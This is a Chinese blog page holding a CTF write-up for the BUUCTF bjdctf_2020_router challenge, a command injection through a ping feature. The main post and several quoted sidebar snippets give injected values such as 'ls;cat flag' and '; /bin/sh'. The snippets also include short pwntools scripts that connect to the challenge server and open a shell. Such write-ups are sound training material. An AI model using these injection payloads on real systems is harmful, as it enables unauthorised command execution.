BUUCTF-bjdctf_2020_router-WP

最新推荐文章于 2024-08-22 19:51:07 发布
最新推荐文章于 2024-08-22 19:51:07 发布
阅读量213 收藏
点赞数
分类专栏： BUUCTF 文章标签： pwn 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/arraylocalhost/article/details/128981622
版权

1.checksec

64位 

2.IDA

 有一个菜单选择

main()函数

功能1是一个ping命令

buf可控,拼接在dest后,Linux里用;(分号)连接两个命令,同时执行 

nc连接上远程,选择功能1,同时执行命令  ls;cat flag

3.EXP

得到flag 

Rt1Text
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-initramfs-kernel.bin
07-31
小米/红米AC2100
mysql-5.7.26-linux-glibc2.12-x86_64
03-12
mysql-5.7.26-linux-glibc2.12-x86_64 网盘下载及其链接地址 保证永久有效！
【BUUCTF】bjdctf_2020_router
m0_51251108的博客
12-31 323
【BUUCTF】bjdctf_2020_router linux里面命令可以用；或&分隔，接下来就可以输我们要的命令了
[BUUCTF-pwn]——bjdctf_2020_router
Y_peak的博客
03-16 319
[BUUCTF-pwn]——bjdctf_2020_router 关键漏洞， 如果输入 ； /bin/sh 就会执行system("/bin/sh") 分号是分割符 exploit from pwn import * p = remote("node3.buuoj.cn",27911) p.sendline('1') p.sendafter("Please input the ip address:\n", "; /bin/sh\x00") p.interactive() ...
[BUUCTF]PWN——bjdctf_2020_router
mcmuyanga的博客
11-06 970
bjdctf_2020_router 附件 步骤： 例行检查，64位程序，开启了NX保护 本地试运行一下程序，看看大概的情况 会让我们选择，选择4.root，没什么用，但是注意了，这边选1会执行ping命令，尝试在ping命令后拼接ls，可以看到ls命令也执行了 这边利用了linux下的命令机制，命令1+；+命令2 这样的格式两种指令都会执行 3 . 利用这点，远程连接，尝试读出flag ...
bjdctf_2020_router
、moddemod
07-06 467
exp from pwn import * p = remote('node3.buuoj.cn', 28110) p.sendlineafter('choose:', b'1') p.sendlineafter('address', b'127.0.0.1 & sh') p.interactive()
vue.news_run_vue-router_elemntUI_vue_
09-30
在"vue.news_run_vue-router_elemntUI_vue_"这个项目中，我们看到它被用来开发一个新闻应用。Vue 的核心库专注于视图层，易于上手，同时具有强大的功能，使得它在现代Web开发中占据了重要的位置。 Vue Router 是Vue...
dd-wrt.v24-36410_NEWD-2_K3.x_mega-e900.zip_router
09-21
标题中的"dd-wrt.v24-36410_NEWD-2_K3.x_mega-e900.zip_router"指的是DD-WRT的一个特定版本，适用于Linksys E900路由器。 **固件版本解析：** - "v24"代表这是DD-WRT的v24系列，这是一个比较稳定且广泛使用的版本。...
dva.zip_Dva封装_dva_dva/router_react-dva_redux 封装
09-19
本篇文章将深入探讨`dva.zip_Dva封装_dva_dva/router_react-dva_redux 封装`这一主题，以及如何通过dva-master文件夹中的内容来理解和应用这些技术。 首先，让我们理解`dva`的核心概念。Dva的核心理念是"Everything...
BUUCTF pwn——bjdctf_2020_router
CNS-Enterprise BCC-1701-J
05-09 263
BUUCTF 做题练习
BJDCTF2020 router
qq_39980610的博客
08-23 273
BJDCTF2020 router
BJDCTF-2020-WRITEUP---TiKi小组
pone2233的博客
03-23 2449
title: BJDCTF 2020 刷题记录 categories: CTF tags: BJDCTF CTF2020 BJDCTF Web duangShell 根据提示，输入.index.php.swp下载到源码。 之后在linux内输入vim -r index.php.swp即可看到源码 <!DOCTYPE html> <html lang="en"> &...
BUUCTF pwn——bjdctf_2020_babystack
CNS-Enterprise BCC-1701-J
03-31 231
BUUCTF 做题练习
叉车ai行人防撞预警系统，前后盲区防撞报警，让行车更安全！
jiuxindianzi的博客
08-20 515
九盾叉车AI防撞预警系统，含九配件，三颗摄像头监测盲区与疲劳，可选车速等配件增强安全监测。特点包括实时监测、动态规划、高精度定位、多级防撞等，全方位保障叉车操作安全。
OV SSL证书：增强网站信任与安全的重要保障
alsknv的博客
08-20 1300
OV SSL证书，全称为Organization Validation SSL证书，是一种需要通过验证网站或组织真实身份才能颁发的SSL证书。它不仅能为网站提供数据传输的加密功能，还能向用户展示网站的真实身份，增强用户的信任感。OV证书适用于所有需要在线信任和安全的网站，特别是电子商务网站、在线银行、金融机构以及企业门户网站等。OV SSL证书_企业验证级SSL证书-JoySSLOV是英文单词Organization Validation的缩写，即单位组织信息验证。
【办公软件】安全风险 Microsoft 已阻止宏运行，因为此文件的来源不受信任
一点硬件
08-20 325
安全风险 Microsoft 已阻止宏运行 因为此文件的来源不受信任
92.WEB渗透测试-信息收集-Google语法（6）
最新发布
计算机王的博客
08-22 318
web渗透测试
WARN "css.modules" option in vue.config.js is deprecated now, please use "css.requireModuleExtension" instead. INFO Starting development server... 98% after emitting CopyPlugin WARNING Compiled with 17 warnings 09:43:57 warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'computed' was not found in 'vue' warning in ./src/router/index.js "export 'default' (imported as 'VueRouter') was not found in 'vue-router' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'defineComponent' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'getCurrentInstance' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'h' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'inject' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'nextTick' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'onActivated' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'onDeactivated' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'onUnmounted' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'provide' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'reactive' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'ref' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'shallowRef' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'unref' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'watch' was not found in 'vue' warning in ./node_modules/vue-router/dist/vue-router.mjs "export 'watchEffect' was not found in 'vue'这个报错因为什么
06-09
这个报错是因为在使用Vue Router时，导入的Vue Router版本与当前项目中的Vue版本不匹配导致的。具体来说，Vue Router中使用了Vue 3的语法而当前项目中使用的是Vue 2，所以会出现一些语法上的错误。解决方法是将Vue ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值